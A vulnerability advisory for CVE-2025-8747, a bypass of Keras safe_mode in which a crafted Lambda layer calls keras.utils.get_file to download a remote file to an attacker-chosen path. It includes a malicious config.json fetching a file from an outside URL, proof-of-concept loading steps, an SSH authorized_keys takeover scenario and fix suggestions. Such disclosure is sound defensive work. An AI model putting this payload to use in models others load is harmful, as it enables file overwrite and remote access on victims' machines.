CVE-2025-8747: Keras safe_mode bypass allows arbitrary code execution when loading a malicious model.

Summary It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safemode” is enabled, by crafting malicious arguments to built-in Keras modules.

The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).

Impact

| Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|

Details

Keras’ safemode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serializationlib.py#L641 -

if config["classname"] == "lambda": if safemode: raise ValueError( "Requested the deserialization of a lambda object. " "This carries a potential risk of arbitrary code execution " "and thus it is disallowed by default. If you trust the " "source of the saved model, you can pass safemode=False to " "the loading function in order to allow lambda loading, " "or call keras.config.enableunsafedeserialization()." )

A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.

package = module.split(".", maxsplit=1)[0] if package in {"keras", "kerashub", "kerascv", "kerasnlp"}:

However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.getfile, and download remote files to an attacker-controlled location. This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorizedkeys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine. Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safemode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).

Example The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/whenyouwatchcomputer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.getfile() -

{ "classname": "Lambda", "config": { "arguments": { "origin": "https://raw.githubusercontent.com/andr3colonel/whenyouwatchcomputer/refs/heads/master/index.js", "cachedir":"/tmp", "cachesubdir":"", "forcedownload": true}, "function": { "classname": "function", "config": "getfile", "module": "keras.utils" } },

PoC

1. Download maliciousmodeldownload.keras to a local directory

2. Load the model -

from keras.models import loadmodel model = loadmodel("maliciousmodeldownload.keras", safemode=True)

3. Observe that a new file index.js was created in the /tmp directory

Fix suggestions 1. Add an additional flag blockalllambda that allows users to completely disallow loading models with a Lambda layer. 1. Audit the keras, kerashub, kerascv, kerasnlp modules and remove/block all “gadget functions” which could be used by malicious ML models. 1. Add an additional flag lambdawhitelistfunctions that allows users to specify a list of functions that are allowed to be invoked by a Lambda layer

Credit The vulnerability was discovered by Andrey Polkovnichenko of the JFrog Vulnerability Research

— GitHub

Keras safemode bypass allows arbitrary code execution when loading a malicious model.

— Microsoft